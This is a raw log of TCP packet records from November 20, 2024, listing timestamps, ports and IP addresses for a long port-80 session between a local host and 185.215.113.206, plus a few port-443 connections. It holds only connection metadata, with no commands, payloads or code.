Nov 20, 2024 23:12:57.083750963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.084387064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.084430933 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.084445000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.084532976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.085284948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.085333109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.085350990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.085402012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.086106062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.086150885 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.086155891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.086314917 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.087023020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.087129116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.087182999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.087789059 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.087841034 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.087855101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.088056087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.088671923 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.088732958 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.088789940 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.088871956 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.089520931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.089574099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.089586020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.089670897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.090372086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.090476990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.090496063 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.090538979 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.090903997 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.090935946 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.090951920 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.090972900 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.091069937 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.091218948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.091243029 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.091299057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.091325045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.091351986 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.091489077 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.091512918 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.091654062 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.091684103 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.091686964 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.091814995 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.091835022 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.091842890 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.091943979 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.091950893 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.091972113 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.091996908 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.092058897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.092097044 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.092109919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.092159033 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.092340946 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.092350006 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.092451096 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.092468023 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.092689991 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.092695951 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.092844963 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.092875957 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.093020916 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.093054056 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.093137026 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:57.093158007 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:57.172522068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.172563076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.172615051 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.172615051 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.172889948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.172940969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.173036098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.173086882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.173708916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.173743963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.173757076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.173857927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.174539089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.174586058 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.174634933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.174822092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.175446033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.175504923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.175545931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.175645113 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.176325083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.176392078 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.176425934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.176467896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.177094936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.177150011 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.177196980 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.177237988 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.177939892 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.178000927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.178280115 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.178328037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.178772926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.178831100 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.179054976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.179102898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.179640055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.179692030 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.179738998 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.179968119 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.180505037 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.180603981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.180654049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.181381941 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.181431055 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.181478977 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.181529045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.182210922 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.182331085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.182461023 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.183053970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.183130026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.183130026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.183168888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.183891058 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.183940887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.183983088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.184067011 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.184792995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.184911013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.184931993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.184951067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.185594082 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.185677052 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.185713053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.185753107 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.186475992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.186618090 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.186881065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.187278986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.187331915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.187374115 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.187472105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.188185930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.188266039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.188321114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.188992023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.189016104 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.189044952 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.189063072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.189811945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.189922094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.189975977 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.190680027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.190740108 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.190761089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.190845013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.191498041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.191545963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.278729916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.278798103 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.278806925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.278841972 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.279051065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.279135942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.279180050 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.279894114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.279952049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.279989958 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.280034065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.280788898 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.281074047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.281116009 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.281132936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.281716108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.281759977 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.281825066 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.282464981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.282532930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.282577991 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.283317089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.283413887 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.283463001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.284137011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.284177065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.284224987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.284259081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.285018921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.285059929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.285149097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.285187006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.285815001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.285866976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.285871983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.286068916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.286720991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.286799908 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.286844969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.287524939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.287633896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.287637949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.287712097 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.288399935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.288450956 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.288605928 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.288896084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.289237022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.289350986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.289613962 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.290066957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.290110111 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.290158033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.290196896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.290913105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.290971994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.291079044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.291119099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.291769028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.291836977 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.291867971 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.291903019 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.292601109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.292710066 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.292721033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.292769909 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.293584108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.293623924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.293687105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.293824911 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.294308901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.294444084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.294487953 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.295164108 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.295203924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.295258045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.295294046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.296015978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.296055079 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.296113968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.296153069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.296914101 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.296998978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.297055006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.297717094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.297775984 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.297816038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.298599005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.298641920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.298680067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.299398899 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.299443007 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.299454927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.299684048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.300275087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.300323009 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.300337076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.300375938 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.301110983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.301238060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.301358938 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.301995039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.302072048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.302155972 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.302201986 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.302858114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.302951097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.303005934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.371733904 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.372189999 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.372231960 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.372643948 CET	49885	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:57.372654915 CET	443	49885	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:57.383042097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.383111000 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.383131027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.383205891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.383425951 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.383518934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.383579969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.383646965 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.384268045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.384397030 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.384448051 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.385134935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.385256052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.385302067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.386018991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.386099100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.386157036 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.387192011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.387300014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.387348890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.387662888 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.387774944 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.387819052 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.388540983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.388654947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.388699055 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.389372110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.389506102 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.389549971 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.390224934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.390356064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.390403986 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.391083956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.391196012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.391242027 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.391907930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.392033100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.392081976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.392798901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.392847061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.392869949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.392913103 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.393615961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.393666029 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.393723011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.393879890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.394509077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.394557953 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.394614935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.394674063 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.395371914 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.395421028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.395505905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.396234035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.396260977 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.396285057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.396303892 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.397058964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.397135019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.397869110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.397893906 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.397913933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.397918940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.397954941 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.398716927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.398773909 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.398823977 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.398859978 CET	49799	80	192.168.2.7	185.215.113.206
